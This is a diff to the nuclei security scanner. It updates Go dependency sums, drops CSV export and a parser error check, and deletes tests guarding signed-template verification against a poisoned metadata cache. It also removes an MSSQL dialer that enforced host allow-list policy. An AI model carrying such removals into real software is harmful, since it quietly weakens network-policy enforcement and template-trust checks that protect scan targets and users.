github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c h1:s+lLAlrOrgwlPZQ9DFqNw+kia2nteKnJZ2Ek313yoUc=
github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c/go.mod h1:rN35/D3lVx2YDeENFFz06uj8j3XIqK1Ym9XcISF5fzg=
github.com/projectdiscovery/goflags v0.2.1 h1:XnSYvsCjUwHbZaaJUZ3YznCJPoXRk/IhTFP9Gecmx6M=
@@ -949,16 +947,16 @@ github.com/projectdiscovery/goja v0.0.0-20261012075649-9b78f2e05b9c h1:4H/CfVNlu
github.com/projectdiscovery/goja v0.0.0-20261012075649-9b78f2e05b9c/go.mod h1:SO0AP+uKfYeeoR6jyVH/PKRYJE/f5gJrPMAM00iGEMc=
github.com/projectdiscovery/goja_nodejs v0.0.0-20260618132410-8519f75f703d h1:fqqH9LHpN2WDz9QuxFrhKNxXSRtzk+Sa6jAhbB7tXcQ=
github.com/projectdiscovery/goja_nodejs v0.0.0-20260618132410-8519f75f703d/go.mod h1:Ezmbgdaw4EunGGBU4MQViLoGMJc37LA3ip55YV3KeRI=
github.com/projectdiscovery/gologger v1.1.73 h1:WX2nzq29cL7HdvOHqIttacoid/5lMwapyM7ukGU1jFY=
github.com/projectdiscovery/gologger v1.1.73/go.mod h1:mJwODZcFDg70ihINpOvZevmBtgvpP8H9/l8Y+OPhZPY=
github.com/projectdiscovery/gologger v1.1.75 h1:w+8DgCOCFpUegE2Ww8LQBUWPACkJUOvJ4Q1C0f2N9qI=
github.com/projectdiscovery/gologger v1.1.75/go.mod h1:LDeWHizV+0QVuvDP4uJHM/M+eQlp0XLWlQ1z8PgOE1k=
github.com/projectdiscovery/gostruct v0.0.2 h1:s8gP8ApugGM4go1pA+sVlPDXaWqNP5BBDDSv7VEdG1M=
github.com/projectdiscovery/gostruct v0.0.2/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
github.com/projectdiscovery/govaluate v0.0.0-20261102102118-9294133b15a2 h1:aSLbDvrJQPlp4HvojU+bTU5XV8xdAVCjoc5gX1Wfbw4=
github.com/projectdiscovery/govaluate v0.0.0-20261102102118-9294133b15a2/go.mod h1:Z3VjpUJV1pnXDwvAddA8aZ4e839SoeftB7CSdZntAVI=
github.com/projectdiscovery/gozero v0.1.1-0.20260530071156-fa1dad563d76 h1:AN70bbi6BBs7KpIM9w0LxygUN7uzT/oH+owDIQ+Fz/k=
github.com/projectdiscovery/gozero v0.1.1-0.20260530071156-fa1dad563d76/go.mod h1:cWHYnRXoYWHtTpOYyAp5laGYX8GH8ITUhgQaP8G/8FA=
github.com/projectdiscovery/hmap v0.0.102 h1:ybPuf7UQvuOLiHLOUbVMvd+PSlItQU5iQpP1Erl8kaU=
github.com/projectdiscovery/hmap v0.0.102/go.mod h1:IZ92wXFmxYpdn0euZ7VFmypzOBNDwq8c3yRyIIol6XE=
github.com/projectdiscovery/gozero v0.1.1 h1:wLiJH11YTMzgrV9AWB24S08wYfGF4/ggm4xdlduQmLk=
github.com/projectdiscovery/gozero v0.1.1/go.mod h1:RFHYWR70/YBV74h/0P2l0Crht6lHq8zhJfAluVg97OI=
github.com/projectdiscovery/hmap v0.0.104 h1:38j4A2gttI48tI5MrdRV2ZTH3SWEysoSYeDxqYqW3rA=
github.com/projectdiscovery/hmap v0.0.104/go.mod h1:koGp3dcpH+BNj/9JuoZnXhbRfAiZrgIiCzsiBCtSIFs=
github.com/projectdiscovery/httpx v1.12.0 h1:NN5iDrw7NjPBDlACdjac4lePTQmZ5aOmgOzptMpP44c=
github.com/projectdiscovery/httpx v1.12.0/go.mod h1:OgtyibNGdu9BrJxRdNKm280Davw1Z4s2FAhfPNNtLB4=
github.com/projectdiscovery/interactsh v1.4.1 h1:EGHPJ1rnuxvILWfcoaRgb/Ykz67WiDXABRCSJN666GA=
@@ -973,34 +971,34 @@ github.com/projectdiscovery/mapcidr v1.1.97 h1:7FkxNNVXp+m1rIu5Nv/2SrF9k4+LwP8Qu
github.com/projectdiscovery/mapcidr v1.1.97/go.mod h1:9dgTJh1SP02gYZdpzMjm6vtYFkEHQHoTyaVNvaeJ7lA=
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
github.com/projectdiscovery/networkpolicy v0.1.56 h1:M/L421HFuN707oX0tLTzKZY46uRyaKwxAeyi0q8PlxI=
github.com/projectdiscovery/networkpolicy v0.1.56/go.mod h1:N5bXm8L3UsDw51CeA1nhTsGEbQMbgL5lXTiIU013xd0=
github.com/projectdiscovery/networkpolicy v0.1.57 h1:3P7esW8KE3yoZSE/GvswbSZ1bh8Gk+dURtvNlFzOid0=
github.com/projectdiscovery/networkpolicy v0.1.57/go.mod h1:Ky0GOIqAL666JBHyHeIsQ5rjkET902I6XjGEpvCVx9s=
github.com/projectdiscovery/ratelimit v0.0.94 h1:2qciSuUxarn73YGICZeprZtjrwyAH+0iVpdKzKCXoXE=
github.com/projectdiscovery/ratelimit v0.0.94/go.mod h1:GAerX6s+eWRuACedHRv2/xmMtlW+VahZmbRstQh0sS0=
github.com/projectdiscovery/rawhttp v0.2.0 h1:TGiHC5hydL97/zoi0WjEuNrfO6Gjtg9LeXndUf1Cq3M=
github.com/projectdiscovery/rawhttp v0.2.0/go.mod h1:Waz+K5y6r44ElpqAoOfYtY03zrGGZ12nx0yDKq7Ot1E=
github.com/projectdiscovery/rawhttp v0.2.2 h1:l1UvmSWrpd1wpTIlYKlP4VnmV3jhqR7P05wyDwKBml8=
github.com/projectdiscovery/rawhttp v0.2.2/go.mod h1:Wg1bJ3DGXdVcU2ieU1NqT09rGolvp+FlVeo1QdTnRmg=
github.com/projectdiscovery/rdap v0.9.0 h1:wPhHx5pQ2QI+WGhyNb2PjhTl0NtB39Nk7YFZ9cp8ZGA=
github.com/projectdiscovery/rdap v0.9.0/go.mod h1:zk4yrJFQ2Hy36Aqk+DvotYQxYAeALaCJ5ORySkff36Q=
github.com/projectdiscovery/retryabledns v1.0.116 h1:tK28PJ4tLO7bgM89RpIFjkfTPMSbRegwvg9mN/q6z78=
github.com/projectdiscovery/retryabledns v1.0.116/go.mod h1:r3vH0AKYtJ9fculcqRFrdVYe2ABcHwZeR4C6j3rqCbY=
github.com/projectdiscovery/retryablehttp-go v1.3.31 h1:0hSEZ5+jj6Oo1IL8qrytD36TK/qCxfe543jEaRqSTjs=
github.com/projectdiscovery/retryablehttp-go v1.3.31/go.mod h1:/WEa7YejxTCXEMLCGfGYaC3JsgXgzuqw8rv8cb4buEc=
github.com/projectdiscovery/retryabledns v1.0.118 h1:vrWzUgjRyD5fg2QiPF0boDuSL/QYuoxPftgpYQv2MiQ=
github.com/projectdiscovery/retryabledns v1.0.118/go.mod h1:qHuxflnN8BWWqQ+N+TIe9OTqmaMpE/G2+36chAcFQhg=
github.com/projectdiscovery/retryablehttp-go v1.3.34 h1:tp45jp3yAtXunuIPeOB1k4L/9vq4Tn9Lm0wkRHRKMnI=
github.com/projectdiscovery/retryablehttp-go v1.3.34/go.mod h1:O/9n0ltIPaX06kpgPAz0Ncq4uPQXttSIWapSu4xvd3E=
github.com/projectdiscovery/sarif v0.1.0 h1:O541T+a448nSJsmIMnXXSOeDQEzpnCAYvRfe0eG5h74=
github.com/projectdiscovery/sarif v0.1.0/go.mod h1:LBC+reM3bkI3qIIhE0rZaINaYX6VG+En6u2hHa5mA7E=
github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA=
github.com/projectdiscovery/stringsutil v0.0.2/go.mod h1:EJ3w6bC5fBYjVou6ryzodQq37D5c6qbAYQpGmAy+DC0=
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75 h1:3qJgfWzzwtFXc/vdUIurSzPzyjBH9NQe0wATkZMoQGI=
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75/go.mod h1:8jqB9aHT6U8NkUsENvaSjD/iBEGB4Ta+CbJBMcvzP9c=
github.com/projectdiscovery/tlsx v1.4.4 h1:XBoy/wwJ3pPwD+8vEtiIrJVJnC3QrKtVNRRZj3A0vH4=
github.com/projectdiscovery/tlsx v1.4.4/go.mod h1:T26MvekV2O9keTvCKvij5pLEBb1OtC5LKYjAs/xgs1A=
github.com/projectdiscovery/uncover v1.2.1 h1:8U46T/96CLT7BPoXBgkTvWqB06lOyeTSLvh5+UjzATE=
github.com/projectdiscovery/uncover v1.2.1/go.mod h1:0p8onrWxfpXQEYs90ZDzTSpu1107gWmodX1NWqu/+z4=
github.com/projectdiscovery/useragent v0.0.109 h1:b86BPdZvmgbJousa04jAugDRY4Y+rAvEamE0TFCPmeE=
github.com/projectdiscovery/useragent v0.0.109/go.mod h1:sRyBqDAcD31RKYrO8fyXGowLd36fNwY1g0MNW9mp7zk=
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350 h1:uXqpYa6XKV9dCvoti9PbSgIWIsBKPu5YKMywB9G4q0Q=
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
github.com/projectdiscovery/wappalyzergo v0.3.6 h1:1FXCMeCa1xVu2zaW+eeBcbVxtlMStqGOlKcMLyh2pzI=
github.com/projectdiscovery/wappalyzergo v0.3.6/go.mod h1:4E6+fh/ckaY3wo5tlM7lNYSkhuTYRHzu2YmGIRraXP0=
github.com/projectdiscovery/yamldoc-go v1.0.7 h1:Odmjd1o4EkMff2F6QHi1dIYPIQPZUFy24YqmQCprmTk=
github.com/projectdiscovery/yamldoc-go v1.0.7/go.mod h1:nqD1iPMcofpRA1DbXavPByJhWURrshT+l8WN9XjyQag=
github.com/projectdiscovery/useragent v0.0.110 h1:hoKpQssbFLSSmK/Vxf/fG/a+PToEYdzLafG7HHbvCAc=
github.com/projectdiscovery/useragent v0.0.110/go.mod h1:fOeQ2+nlOJHYuPpnWWrBz5q5dUo7efe/AmvWQdNsLUM=
github.com/projectdiscovery/utils v0.11.13 h1:Mn3/rtyQvtn8XZy0UnVkxbAmn0afbHtWuMHUEztwWSw=
github.com/projectdiscovery/utils v0.11.13/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
github.com/projectdiscovery/wappalyzergo v0.3.8 h1:bjQ99Lanzj8l+2ENwt24/LdZ09uR9IxkamXssBXahIQ=
github.com/projectdiscovery/wappalyzergo v0.3.8/go.mod h1:7gTNIjQSXsVmFDJJ3PT8+FhYE+dv6hZLGZSsRAEjVSw=
github.com/projectdiscovery/yamldoc-go v1.0.9 h1:pms4u/qWaMYTMnI1R+MUKu/qRV3k/nruHG0wDj2IJmo=
github.com/projectdiscovery/yamldoc-go v1.0.9/go.mod h1:9PyUvPQYG/JuO8ejBDwCcpCWk12/1R/i+7WUbsZ+KNY=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M=
@@ -1230,8 +1228,8 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
github.com/yuin/goldmark v1.7.17 h1:p36OVWwRb246iHxA/U4p8OPEpOTESm4n+g+8t0EE5uA=
github.com/yuin/goldmark v1.7.17/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
github.com/yuin/goldmark v1.8.6 h1:d0VcaP1sx9GkFVkoW+KtggpGi2KZ965i14b0+bDQST4=
github.com/yuin/goldmark v1.8.6/go.mod h1:ip/1k0VRfGynBgxOz0yCqHrbZXhcjxyuS66Brc7iBKg=
github.com/yuin/goldmark-emoji v1.0.6 h1:QWfF2FYaXwL74tfGOW5izeiZepUDroDJfWubQI9HTHs=
github.com/yuin/goldmark-emoji v1.0.6/go.mod h1:ukxJDKFpdFb5x0a5HqbdlcKtebh086iJpI31LTKmWuA=
github.com/yuin/gopher-lua v1.1.1 h1:kYKnWBjvbNP4XLT3+bPEwAXJx262OhaHDWDVOPjL46M=
@@ -1374,8 +1372,8 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/mod v0.42.0 h1:ICeL3t2L30ljSPHHxDnR4fqVcBt/zR2zJAb9juavmQg=
golang.org/x/mod v0.42.0/go.mod h1:u5fzIrRInkL8MaO1cbRkUHT64v303YIT5KEqpNr7jRs=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -1603,8 +1601,8 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/tools v0.51.0 h1:k4Xc/1Om9jwkBJBo4NVLMSARBoWtK10mx+W5BnXCeAI=
golang.org/x/tools v0.51.0/go.mod h1:9eEncMayCV6zRMGhR5eZEC2iBx98qWcF1HZ9Z7wJOoA=
golang.org/x/tools v0.52.0 h1:ryxg4U63oaUYk7uOLTF37n43f4qgtGvqV4Ioit1BaEs=
golang.org/x/tools v0.52.0/go.mod h1:ItcP5UNaVGG+Yc4eIYmaFLNJ4soEopkx5Y2d4lcEurs=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-13
View File
@@ -25,7 +25,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/csv"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl"
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown"
@@ -372,18 +371,6 @@ func createReportingOptions(options *types.Options) (*reporting.Options, error)
}
}
}
if options.CSVExport != "" {
// Combine the CLI options with the config file options with the CLI options taking precedence
if reportingOptions.CSVExporter != nil {
reportingOptions.CSVExporter.File = options.CSVExport
reportingOptions.CSVExporter.OmitRaw = options.OmitRawRequests
} else {
reportingOptions.CSVExporter = &csv.Options{
File: options.CSVExport,
OmitRaw: options.OmitRawRequests,
}
}
}
if options.PDFExport != "" {
if reportingOptions.PDFExporter != nil {
reportingOptions.PDFExporter.File = options.PDFExport
-29
View File
@@ -38,35 +38,6 @@ func TestCreateReportingOptions(t *testing.T) {
require.Equal(t, resultOptions2.DenyList.Severities, resultOptions.DenyList.Severities)
}
func TestCreateReportingOptionsCSVExport(t *testing.T) {
t.Run("flag only", func(t *testing.T) {
resultOptions, err := createReportingOptions(&types.Options{CSVExport: "out.csv", OmitRawRequests: true})
require.NoError(t, err)
require.NotNil(t, resultOptions.CSVExporter)
require.Equal(t, "out.csv", resultOptions.CSVExporter.File)
require.True(t, resultOptions.CSVExporter.OmitRaw)
})
t.Run("flag is not set", func(t *testing.T) {
resultOptions, err := createReportingOptions(&types.Options{})
require.NoError(t, err)
require.Nil(t, resultOptions.CSVExporter)
})
t.Run("flag takes precedence over config file", func(t *testing.T) {
config := filepath.Join(t.TempDir(), "report.yaml")
require.NoError(t, os.WriteFile(config, []byte("csv:\n file: from-config.csv\n"), 0o600))
resultOptions, err := createReportingOptions(&types.Options{ReportingConfig: config})
require.NoError(t, err)
require.Equal(t, "from-config.csv", resultOptions.CSVExporter.File)
resultOptions, err = createReportingOptions(&types.Options{ReportingConfig: config, CSVExport: "from-flag.csv"})
require.NoError(t, err)
require.Equal(t, "from-flag.csv", resultOptions.CSVExporter.File)
})
}
type TestStruct1 struct {
A string `yaml:"a"`
Struct *TestStruct2 `yaml:"b"`
-128
View File
@@ -2,7 +2,6 @@ package loader
import (
"bytes"
"crypto/sha256"
"os"
"path/filepath"
"reflect"
@@ -20,7 +19,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
templatesigner "github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
"github.com/projectdiscovery/nuclei/v3/pkg/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats"
"github.com/stretchr/testify/require"
@@ -687,135 +685,9 @@ http:
loaded := loadSingleTemplateForTest(t, templatePath, "loader-unsigned-flow-template")
require.Len(t, loaded, 1)
require.Equal(t, "unsigned-flow-template", loaded[0].ID)
require.False(t, loaded[0].Verified)
require.Equal(t, initialUnverifiedJavascript, stats.GetValue(templates.SkippedUnverifiedJavascriptTemplateStats))
}
func contentDigestForLoaderTest(data []byte) [32]byte {
dataDigest := sha256.Sum256(data)
return sha256.Sum256(dataDigest[:])
}
func loadTemplateWithPoisonedMetadata(t *testing.T, templatePath, executionID string, source []byte, disableUnsigned bool) []*templates.Template {
t.Helper()
fileInfo, err := os.Stat(templatePath)
require.NoError(t, err)
metadataIndex, err := metadataindex.NewIndex(t.TempDir())
require.NoError(t, err)
metadataIndex.Set(templatePath, &metadataindex.Metadata{
ID: "poisoned",
FilePath: templatePath,
ModTime: fileInfo.ModTime(),
Name: "Poisoned",
Authors: []string{"pdteam"},
Severity: "info",
Verified: true,
TemplateVerifier: "projectdiscovery/nuclei-templates",
VerifierFingerprint: templatesigner.DefaultTemplateVerifiers[0].Fingerprint(),
ContentDigest: contentDigestForLoaderTest(source),
Validation: metadataindex.ValidationStrict,
})
options := testutils.DefaultOptions.Copy()
options.Logger = &gologger.Logger{}
options.ExecutionId = executionID
options.DisableUnsignedTemplates = disableUnsigned
options.TemplateLoadingConcurrency = 1
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
catalog := disk.NewCatalog("")
executerOpts := testutils.NewMockExecuterOptions(options, nil)
executerOpts.Catalog = catalog
executerOpts.Parser = templates.NewParser()
executerOpts.Logger = options.Logger
workflowLoader, err := workflow.NewLoader(executerOpts)
require.NoError(t, err)
executerOpts.WorkflowLoader = workflowLoader
loaderConfig := NewConfig(options, catalog, executerOpts)
loaderConfig.MetadataIndex = metadataIndex
store, err := New(loaderConfig)
require.NoError(t, err)
loaded, err := store.LoadTemplates([]string{templatePath})
require.NoError(t, err)
return loaded
}
func TestLoadTemplatesIgnoresSelfConsistentCacheForJavascript(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-javascript.yaml")
source := []byte(`id: poisoned-cached-javascript
info:
name: Poisoned Cached Javascript
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("poisoned-cached-javascript")
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-javascript", source, false)
require.Empty(t, loaded)
}
func TestLoadTemplatesAllowsUnsignedFlowDespitePoisonedCache(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-flow.yaml")
source := []byte(`id: poisoned-cached-flow
info:
name: Poisoned Cached Flow
author: pdteam
severity: info
flow: http(1)
http:
- method: GET
path:
- "{{BaseURL}}"
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-flow", source, false)
require.Len(t, loaded, 1)
require.Equal(t, "poisoned-cached-flow", loaded[0].ID)
require.False(t, loaded[0].Verified)
require.True(t, loaded[0].IsFlowTemplate())
}
func TestLoadTemplatesSkipsPoisonedHttpWhenUnsignedDisabled(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "poisoned-http.yaml")
source := []byte(`id: poisoned-cached-http
info:
name: Poisoned Cached HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`)
require.NoError(t, os.WriteFile(templatePath, source, 0o600))
initialUnverified := stats.GetValue(templates.SkippedUnverifiedTemplateStats)
loaded := loadTemplateWithPoisonedMetadata(t, templatePath, "loader-poisoned-http-dut", source, true)
require.Empty(t, loaded)
require.Equal(t, initialUnverified+1, stats.GetValue(templates.SkippedUnverifiedTemplateStats))
}
func TestLoadTemplatesDoesNotRequireGlobalMatchersFlagToLoadTemplate(t *testing.T) {
templatePath := filepath.Join(t.TempDir(), "global-matchers.yaml")
err := os.WriteFile(templatePath, []byte(`id: global-matchers-template
+12 -23
View File
@@ -38,11 +38,14 @@ func NewEntityParser(dir string) (*EntityParser, error) {
return parser.ParseFile(fset, filename, src, parser.ParseComments)
},
}
pkg, err := loadPackage(cfg, ".")
pkgs, err := packages.Load(cfg, ".")
if err != nil {
return nil, err
}
if len(pkgs) == 0 {
return nil, errors.New("no packages found")
}
pkg := pkgs[0]
return &EntityParser{
syntax: pkg.Syntax,
@@ -510,7 +513,6 @@ func (p *EntityParser) extractVarsNConstants() {
// loadImportedPackages loads all imported packages
func (p *EntityParser) loadImportedPackages() error {
cfg := &packages.Config{Mode: packages.NeedTypes | packages.NeedSyntax | packages.NeedTypesInfo}
// get all import statements
// iterate over all imports
for _, file := range p.syntax {
@@ -520,7 +522,7 @@ func (p *EntityParser) loadImportedPackages() error {
// remove the quotes from the path
path = path[1 : len(path)-1]
// load the package
pkg, err := loadPackage(cfg, path)
pkg, err := loadPackage(path)
if err != nil {
return err
}
@@ -541,31 +543,18 @@ func (p *EntityParser) loadImportedPackages() error {
return nil
}
// loadPackage loads the package that pattern names.
//
// packages.Load reports parse, type, and list errors in Package.Errors
// rather than in its returned error, so loadPackage converts them into an
// error. The parser assumes a complete syntax tree and type information.
func loadPackage(cfg *packages.Config, pattern string) (*packages.Package, error) {
pkgs, err := packages.Load(cfg, pattern)
// Load the package containing the type definition
// TODO: we don't support named imports yet
func loadPackage(pkgPath string) (*packages.Package, error) {
cfg := &packages.Config{Mode: packages.NeedTypes | packages.NeedSyntax | packages.NeedTypesInfo}
pkgs, err := packages.Load(cfg, pkgPath)
if err != nil {
return nil, err
}
if len(pkgs) == 0 {
return nil, errors.New("no packages found")
}
pkg := pkgs[0]
if len(pkg.Errors) > 0 {
errs := make([]error, len(pkg.Errors))
for i, e := range pkg.Errors {
errs[i] = e
}
return nil, fmt.Errorf("package %s: %w", pkg.ID, errors.Join(errs...))
}
return pkg, nil
return pkgs[0], nil
}
// exprToString converts an expression to a string
-86
View File
@@ -1,86 +0,0 @@
package tsgen
import (
"go/ast"
"go/parser"
"go/token"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
"golang.org/x/tools/go/packages"
)
// writeModule writes src as the only package of a new Go module and
// returns the module directory.
func writeModule(t *testing.T, src string) string {
t.Helper()
dir := t.TempDir()
files := map[string]string{
"go.mod": "module example.com/tsgentest\n\ngo 1.21\n",
"example.go": src,
}
for name, content := range files {
require.NoError(t, os.WriteFile(filepath.Join(dir, name), []byte(content), 0o600))
}
return dir
}
func TestNewEntityParser(t *testing.T) {
const src = `package example
import "strings"
// Upper returns s in upper case.
func Upper(s string) string { return strings.ToUpper(s) }
`
p, err := NewEntityParser(writeModule(t, src))
require.NoError(t, err)
require.NoError(t, p.Parse())
entities := p.GetEntities()
names := make([]string, 0, len(entities))
for _, e := range entities {
names = append(names, e.Name)
}
require.Contains(t, names, "Upper")
}
func TestNewEntityParserPackageErrors(t *testing.T) {
tests := []struct {
name string
src string
}{
{name: "syntax error", src: "package example\n\nfunc Broken( {\n\treturn 42\n}\n"},
{name: "type error", src: "package example\n\nfunc Broken() int { return undefined }\n"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
_, err := NewEntityParser(writeModule(t, tt.src))
require.ErrorContains(t, err, "example.go:")
})
}
}
func TestLoadImportedPackagesMissing(t *testing.T) {
const src = `package example; import "example.com/tsgentest/missing"`
file, err := parser.ParseFile(token.NewFileSet(), "example.go", src, parser.ImportsOnly)
require.NoError(t, err)
p := &EntityParser{
syntax: []*ast.File{file},
imports: map[string]*packages.Package{},
}
var pkgErr packages.Error
require.ErrorAs(t, p.loadImportedPackages(), &pkgErr)
require.Contains(t, pkgErr.Msg, "example.com/tsgentest/missing")
}
+2
View File
@@ -8,6 +8,8 @@ import (
"fmt"
_ "github.com/microsoft/go-mssqldb"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
+16 -87
View File
@@ -9,58 +9,11 @@ import (
"net/url"
"strings"
gomssql "github.com/microsoft/go-mssqldb"
_ "github.com/microsoft/go-mssqldb"
"github.com/projectdiscovery/nuclei/v3/pkg/js/utils"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
)
// mssqlCustomDialer routes connection dialing through Nuclei's fastdialer.
// Implementing HostDialer ensures the driver delegates hostname resolution to the dialer
// rather than using the local OS net.LookupIP, keeping DNS resolution, scan proxies,
// and dial-time network policies strictly enforced.
type mssqlCustomDialer struct {
executionId string
host string
}
var _ gomssql.HostDialer = (*mssqlCustomDialer)(nil)
func (d *mssqlCustomDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
dialers := protocolstate.GetDialersWithId(d.executionId)
if dialers == nil {
return nil, fmt.Errorf("dialers not initialized for %s", d.executionId)
}
targetHost, _, err := net.SplitHostPort(addr)
if err != nil {
targetHost = addr
}
if !protocolstate.IsHostAllowed(d.executionId, targetHost) {
return nil, protocolstate.ErrHostDenied.Msgf(targetHost)
}
return dialers.Fastdialer.Dial(ctx, network, addr)
}
func (d *mssqlCustomDialer) HostName() string {
return d.host
}
func openDB(executionId, target, username, password, dbName string) (*sql.DB, error) {
host, _, err := net.SplitHostPort(target)
if err != nil {
host = target
}
connString := mssqlConnString(target, username, password, dbName)
connector, err := gomssql.NewConnector(connString)
if err != nil {
return nil, err
}
connector.Dialer = &mssqlCustomDialer{
executionId: executionId,
host: host,
}
return sql.OpenDB(connector), nil
}
type (
// Client is a client for MS SQL database.
// Internally client uses microsoft/go-mssqldb driver.
@@ -114,7 +67,9 @@ func connect(ctx context.Context, executionId string, host string, port int, use
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
db, err := openDB(executionId, target, username, password, dbName)
connString := mssqlConnString(target, username, password, dbName)
db, err := sql.Open("sqlserver", connString)
if err != nil {
return false, err
}
@@ -124,7 +79,16 @@ func connect(ctx context.Context, executionId string, host string, port int, use
_, err = db.ExecContext(ctx, "select 1")
if err != nil {
if isNetworkError(err) {
switch {
case strings.Contains(err.Error(), "connect: connection refused"):
fallthrough
case strings.Contains(err.Error(), "no pg_hba.conf entry for host"):
fallthrough
case strings.Contains(err.Error(), "network unreachable"):
fallthrough
case strings.Contains(err.Error(), "reset"):
fallthrough
case strings.Contains(err.Error(), "i/o timeout"):
return false, err
}
return false, nil
@@ -132,42 +96,6 @@ func connect(ctx context.Context, executionId string, host string, port int, use
return true, nil
}
